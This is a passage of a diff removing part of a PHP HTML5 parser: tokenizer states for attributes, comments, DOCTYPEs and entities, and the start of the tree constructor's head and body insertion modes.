(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif ($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif ($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Stay in the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif ($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function attributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif ($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif ($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif ($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif ($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's name. - Stay in the attribute name state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['name'] .= strtolower($char); - - $this->state = 'attributeName'; - } - } - - private function afterAttributeNameState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the after attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif ($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif ($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif ($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the - before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif ($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function beforeAttributeValueState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif ($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the attribute value (double-quoted) state. */ - $this->state = 'attributeValueDoubleQuoted'; - - } elseif ($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the attribute value (unquoted) state and reconsume - this input character. */ - $this->char--; - $this->state = 'attributeValueUnquoted'; - - } elseif ($char === '\'') { - /* U+0027 APOSTROPHE (') - Switch to the attribute value (single-quoted) state. */ - $this->state = 'attributeValueSingleQuoted'; - - } elseif ($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Switch to the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function attributeValueDoubleQuotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if ($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif ($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('double'); - - } elseif ($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (double-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueDoubleQuoted'; - } - } - - private function attributeValueSingleQuotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if ($char === '\'') { - /* U+0022 QUOTATION MARK (') - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif ($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('single'); - - } elseif ($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (single-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueSingleQuoted'; - } - } - - private function attributeValueUnquotedState() - { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif ($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState(); - - } elseif ($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function entityInAttributeValueState() - { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, append a U+0026 AMPERSAND character to the - // current attribute's value. Otherwise, emit the character token that - // was returned. - $char = (!$entity) - ? '&' - : $entity; - - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - } - - private function bogusCommentState() - { - /* Consume every character up to the first U+003E GREATER-THAN SIGN - character (>) or the end of the file (EOF), whichever comes first. Emit - a comment token whose data is the concatenation of all the characters - starting from and including the character that caused the state machine - to switch into the bogus comment state, up to and including the last - consumed character before the U+003E character, if any, or up to the - end of the file otherwise. (If the comment was started by the end of - the file (EOF), the token is empty.) */ - $data = $this->characters('^>', $this->char); - $this->emitToken( - array( - 'data' => $data, - 'type' => self::COMMENT - ) - ); - - $this->char += strlen($data); - - /* Switch to the data state. */ - $this->state = 'data'; - - /* If the end of the file was reached, reconsume the EOF character. */ - if ($this->char === $this->EOF) { - $this->char = $this->EOF - 1; - } - } - - private function markupDeclarationOpenState() - { - /* If the next two characters are both U+002D HYPHEN-MINUS (-) - characters, consume those two characters, create a comment token whose - data is the empty string, and switch to the comment state. */ - if ($this->character($this->char + 1, 2) === '--') { - $this->char += 2; - $this->state = 'comment'; - $this->token = array( - 'data' => null, - 'type' => self::COMMENT - ); - - /* Otherwise if the next seven chacacters are a case-insensitive match - for the word "DOCTYPE", then consume those characters and switch to the - DOCTYPE state. */ - } elseif (strtolower($this->character($this->char + 1, 7)) === 'doctype') { - $this->char += 7; - $this->state = 'doctype'; - - /* Otherwise, is is a parse error. Switch to the bogus comment state. - The next character that is consumed, if any, is the first character - that will be in the comment. */ - } else { - $this->char++; - $this->state = 'bogusComment'; - } - } - - private function commentState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if ($char === '-') { - /* Switch to the comment dash state */ - $this->state = 'commentDash'; - - /* EOF */ - } elseif ($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append the input character to the comment token's data. Stay in - the comment state. */ - $this->token['data'] .= $char; - } - } - - private function commentDashState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if ($char === '-') { - /* Switch to the comment end state */ - $this->state = 'commentEnd'; - - /* EOF */ - } elseif ($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append a U+002D HYPHEN-MINUS (-) character and the input - character to the comment token's data. Switch to the comment state. */ - $this->token['data'] .= '-' . $char; - $this->state = 'comment'; - } - } - - private function commentEndState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if ($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif ($char === '-') { - $this->token['data'] .= '-'; - - } elseif ($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['data'] .= '--' . $char; - $this->state = 'comment'; - } - } - - private function doctypeState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'beforeDoctypeName'; - - } else { - $this->char--; - $this->state = 'beforeDoctypeName'; - } - } - - private function beforeDoctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the before DOCTYPE name state. - - } elseif (preg_match('/^[a-z]$/', $char)) { - $this->token = array( - 'name' => strtoupper($char), - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - - } elseif ($char === '>') { - $this->emitToken( - array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - ) - ); - - $this->state = 'data'; - - } elseif ($this->char === $this->EOF) { - $this->emitToken( - array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - ) - ); - - $this->char--; - $this->state = 'data'; - - } else { - $this->token = array( - 'name' => $char, - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - } - } - - private function doctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'AfterDoctypeName'; - - } elseif ($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif (preg_match('/^[a-z]$/', $char)) { - $this->token['name'] .= strtoupper($char); - - } elseif ($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['name'] .= $char; - } - - $this->token['error'] = ($this->token['name'] === 'HTML') - ? false - : true; - } - - private function afterDoctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the DOCTYPE name state. - - } elseif ($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif ($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['error'] = true; - $this->state = 'bogusDoctype'; - } - } - - private function bogusDoctypeState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if ($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif ($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - // Stay in the bogus DOCTYPE state. - } - } - - private function entity() - { - $start = $this->char; - - // This section defines how to consume an entity. This definition is - // used when parsing entities in text and in attributes. - - // The behaviour depends on the identity of the next character (the - // one immediately after the U+0026 AMPERSAND character): - - switch ($this->character($this->char + 1)) { - // U+0023 NUMBER SIGN (#) - case '#': - - // The behaviour further depends on the character after the - // U+0023 NUMBER SIGN: - switch ($this->character($this->char + 1)) { - // U+0078 LATIN SMALL LETTER X - // U+0058 LATIN CAPITAL LETTER X - case 'x': - case 'X': - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 - // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER - // A, through to U+0046 LATIN CAPITAL LETTER F (in other - // words, 0-9, A-F, a-f). - $char = 1; - $char_class = '0-9A-Fa-f'; - break; - - // Anything else - default: - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE (i.e. just 0-9). - $char = 0; - $char_class = '0-9'; - break; - } - - // Consume as many characters as match the range of characters - // given above. - $this->char++; - $e_name = $this->characters($char_class, $this->char + $char + 1); - $entity = $this->character($start, $this->char); - $cond = strlen($e_name) > 0; - - // The rest of the parsing happens below. - break; - - // Anything else - default: - // Consume the maximum number of characters possible, with the - // consumed characters case-sensitively matching one of the - // identifiers in the first column of the entities table. - - $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); - $len = strlen($e_name); - - for ($c = 1; $c <= $len; $c++) { - $id = substr($e_name, 0, $c); - $this->char++; - - if (in_array($id, $this->entities)) { - if ($e_name[$c - 1] !== ';') { - if ($c < $len && $e_name[$c] == ';') { - $this->char++; // consume extra semicolon - } - } - $entity = $id; - break; - } - } - - $cond = isset($entity); - // The rest of the parsing happens below. - break; - } - - if (!$cond) { - // If no match can be made, then this is a parse error. No - // characters are consumed, and nothing is returned. - $this->char = $start; - return false; - } - - // Return a character token for the character corresponding to the - // entity name (as given by the second column of the entities table). - return html_entity_decode('&' . rtrim($entity, ';') . ';', ENT_QUOTES, 'UTF-8'); - } - - private function emitToken($token) - { - $emit = $this->tree->emitToken($token); - - if (is_int($emit)) { - $this->content_model = $emit; - - } elseif ($token['type'] === self::ENDTAG) { - $this->content_model = self::PCDATA; - } - } - - private function EOF() - { - $this->state = null; - $this->tree->emitToken( - array( - 'type' => self::EOF - ) - ); - } -} - -class HTML5TreeConstructer -{ - public $stack = array(); - - private $phase; - private $mode; - private $dom; - private $foster_parent = null; - private $a_formatting = array(); - - private $head_pointer = null; - private $form_pointer = null; - - private $scoping = array('button', 'caption', 'html', 'marquee', 'object', 'table', 'td', 'th'); - private $formatting = array( - 'a', - 'b', - 'big', - 'em', - 'font', - 'i', - 'nobr', - 's', - 'small', - 'strike', - 'strong', - 'tt', - 'u' - ); - private $special = array( - 'address', - 'area', - 'base', - 'basefont', - 'bgsound', - 'blockquote', - 'body', - 'br', - 'center', - 'col', - 'colgroup', - 'dd', - 'dir', - 'div', - 'dl', - 'dt', - 'embed', - 'fieldset', - 'form', - 'frame', - 'frameset', - 'h1', - 'h2', - 'h3', - 'h4', - 'h5', - 'h6', - 'head', - 'hr', - 'iframe', - 'image', - 'img', - 'input', - 'isindex', - 'li', - 'link', - 'listing', - 'menu', - 'meta', - 'noembed', - 'noframes', - 'noscript', - 'ol', - 'optgroup', - 'option', - 'p', - 'param', - 'plaintext', - 'pre', - 'script', - 'select', - 'spacer', - 'style', - 'tbody', - 'textarea', - 'tfoot', - 'thead', - 'title', - 'tr', - 'ul', - 'wbr' - ); - - // The different phases. - const INIT_PHASE = 0; - const ROOT_PHASE = 1; - const MAIN_PHASE = 2; - const END_PHASE = 3; - - // The different insertion modes for the main phase. - const BEFOR_HEAD = 0; - const IN_HEAD = 1; - const AFTER_HEAD = 2; - const IN_BODY = 3; - const IN_TABLE = 4; - const IN_CAPTION = 5; - const IN_CGROUP = 6; - const IN_TBODY = 7; - const IN_ROW = 8; - const IN_CELL = 9; - const IN_SELECT = 10; - const AFTER_BODY = 11; - const IN_FRAME = 12; - const AFTR_FRAME = 13; - - // The different types of elements. - const SPECIAL = 0; - const SCOPING = 1; - const FORMATTING = 2; - const PHRASING = 3; - - const MARKER = 0; - - public function __construct() - { - $this->phase = self::INIT_PHASE; - $this->mode = self::BEFOR_HEAD; - $this->dom = new DOMDocument; - - $this->dom->encoding = 'UTF-8'; - $this->dom->preserveWhiteSpace = true; - $this->dom->substituteEntities = true; - $this->dom->strictErrorChecking = false; - } - - // Process tag tokens - public function emitToken($token) - { - switch ($this->phase) { - case self::INIT_PHASE: - return $this->initPhase($token); - break; - case self::ROOT_PHASE: - return $this->rootElementPhase($token); - break; - case self::MAIN_PHASE: - return $this->mainPhase($token); - break; - case self::END_PHASE : - return $this->trailingEndPhase($token); - break; - } - } - - private function initPhase($token) - { - /* Initially, the tree construction stage must handle each token - emitted from the tokenisation stage as follows: */ - - /* A DOCTYPE token that is marked as being in error - A comment token - A start tag token - An end tag token - A character token that is not one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE - An end-of-file token */ - if ((isset($token['error']) && $token['error']) || - $token['type'] === HTML5::COMMENT || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF || - ($token['type'] === HTML5::CHARACTR && isset($token['data']) && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) - ) { - /* This specification does not define how to handle this case. In - particular, user agents may ignore the entirety of this specification - altogether for such documents, and instead invoke special parse modes - with a greater emphasis on backwards compatibility. */ - - $this->phase = self::ROOT_PHASE; - return $this->rootElementPhase($token); - - /* A DOCTYPE token marked as being correct */ - } elseif (isset($token['error']) && !$token['error']) { - /* Append a DocumentType node to the Document node, with the name - attribute set to the name given in the DOCTYPE token (which will be - "HTML"), and the other attributes specific to DocumentType objects - set to null, empty lists, or the empty string as appropriate. */ - $doctype = new DOMDocumentType(null, null, 'HTML'); - - /* Then, switch to the root element phase of the tree construction - stage. */ - $this->phase = self::ROOT_PHASE; - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif (isset($token['data']) && preg_match( - '/^[\t\n\x0b\x0c ]+$/', - $token['data'] - ) - ) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - } - } - - private function rootElementPhase($token) - { - /* After the initial phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if ($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED - (FF), or U+0020 SPACE - A start tag token - An end tag token - An end-of-file token */ - } elseif (($token['type'] === HTML5::CHARACTR && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF - ) { - /* Create an HTMLElement node with the tag name html, in the HTML - namespace. Append it to the Document object. Switch to the main - phase and reprocess the current token. */ - $html = $this->dom->createElement('html'); - $this->dom->appendChild($html); - $this->stack[] = $html; - - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - } - } - - private function mainPhase($token) - { - /* Tokens in the main phase must be handled as follows: */ - - /* A DOCTYPE token */ - if ($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A start tag token with the tag name "html" */ - } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { - /* If this start tag token was not the first start tag token, then - it is a parse error. */ - - /* For each attribute on the token, check to see if the attribute - is already present on the top element of the stack of open elements. - If it is not, add the attribute and its corresponding value to that - element. */ - foreach ($token['attr'] as $attr) { - if (!$this->stack[0]->hasAttribute($attr['name'])) { - $this->stack[0]->setAttribute($attr['name'], $attr['value']); - } - } - - /* An end-of-file token */ - } elseif ($token['type'] === HTML5::EOF) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Anything else. */ - } else { - /* Depends on the insertion mode: */ - switch ($this->mode) { - case self::BEFOR_HEAD: - return $this->beforeHead($token); - break; - case self::IN_HEAD: - return $this->inHead($token); - break; - case self::AFTER_HEAD: - return $this->afterHead($token); - break; - case self::IN_BODY: - return $this->inBody($token); - break; - case self::IN_TABLE: - return $this->inTable($token); - break; - case self::IN_CAPTION: - return $this->inCaption($token); - break; - case self::IN_CGROUP: - return $this->inColumnGroup($token); - break; - case self::IN_TBODY: - return $this->inTableBody($token); - break; - case self::IN_ROW: - return $this->inRow($token); - break; - case self::IN_CELL: - return $this->inCell($token); - break; - case self::IN_SELECT: - return $this->inSelect($token); - break; - case self::AFTER_BODY: - return $this->afterBody($token); - break; - case self::IN_FRAME: - return $this->inFrameset($token); - break; - case self::AFTR_FRAME: - return $this->afterFrameset($token); - break; - case self::END_PHASE: - return $this->trailingEndPhase($token); - break; - } - } - } - - private function beforeHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "head" */ - } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { - /* Create an element for the token, append the new element to the - current node and push it onto the stack of open elements. */ - $element = $this->insertElement($token); - - /* Set the head element pointer to this new element node. */ - $this->head_pointer = $element; - - /* Change the insertion mode to "in head". */ - $this->mode = self::IN_HEAD; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title". Or an end tag with the tag name "html". - Or a character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or any other start tag token */ - } elseif ($token['type'] === HTML5::STARTTAG || - ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || - ($token['type'] === HTML5::CHARACTR && !preg_match( - '/^[\t\n\x0b\x0c ]$/', - $token['data'] - )) - ) { - /* Act as if a start tag token with the tag name "head" and no - attributes had been seen, then reprocess the current token. */ - $this->beforeHead( - array( - 'name' => 'head', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - return $this->inHead($token); - - /* Any other end tag */ - } elseif ($token['type'] === HTML5::ENDTAG) { - /* Parse error. Ignore the token. */ - } - } - - private function inHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. - - THIS DIFFERS FROM THE SPEC: If the current node is either a title, style - or script element, append the character to the current node regardless - of its content. */ - if (($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( - $token['type'] === HTML5::CHARACTR && in_array( - end($this->stack)->nodeName, - array('title', 'style', 'script') - )) - ) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - } elseif ($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('title', 'style', 'script')) - ) { - array_pop($this->stack); - return HTML5::PCDATA; - - /* A start tag with the tag name "title" */ - } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if ($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $element = $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the RCDATA state. */ - return HTML5::RCDATA; - - /* A start tag with the tag name "style" */ - } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if ($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "script" */ - } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { - /* Create an element for the token. */ - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "base", "link", or "meta" */ - } elseif ($token['type'] === HTML5::STARTTAG && in_array( - $token['name'], - array('base', 'link', 'meta') - ) - ) { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if ($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - array_pop($this->stack); - - } else { - $this->insertElement($token); - } - - /* An end tag with the tag name "head" */ - } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { - /* If the current node is a head element, pop the current node off - the stack of open elements. */ - if ($this->head_pointer->isSameNode(end($this->stack))) { - array_pop($this->stack); - - /* Otherwise, this is a parse error. */ - } else { - // k - } - - /* Change the insertion mode to "after head". */ - $this->mode = self::AFTER_HEAD; - - /* A start tag with the tag name "head" or an end tag except "html". */ - } elseif (($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || - ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html') - ) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* If the current node is a head element, act as if an end tag - token with the tag name "head" had been seen. */ - if ($this->head_pointer->isSameNode(end($this->stack))) { - $this->inHead( - array( - 'name' => 'head', - 'type' => HTML5::ENDTAG - ) - ); - - /* Otherwise, change the insertion mode to "after head". */ - } else { - $this->mode = self::AFTER_HEAD; - } - - /* Then, reprocess the current token. */ - return $this->afterHead($token); - } - } - - private function afterHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "body" */ - } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { - /* Insert a body element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in body". */ - $this->mode = self::IN_BODY; - - /* A start tag token with the tag name "frameset" */ - } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { - /* Insert a frameset element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in frameset". */ - $this->mode = self::IN_FRAME; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title" */ - } elseif ($token['type'] === HTML5::STARTTAG && in_array( - $token['name'], - array('base', 'link', 'meta', 'script', 'style', 'title') - ) - ) { - /* Parse error. Switch the insertion mode back to "in head" and - reprocess the token. */ - $this->mode = self::IN_HEAD; - return $this->inHead($token); - - /* Anything else */ - } else { - /* Act as if a start tag token with the tag name "body" and no - attributes had been seen, and then reprocess the current token. */ - $this->afterHead( - array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - return $this->inBody($token); - } - } - - private function inBody($token) - { - /* Handle the token as follows: */ - - switch ($token['type']) { - /* A character token */ - case HTML5::CHARACTR: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - break; - - /* A comment token */ - case 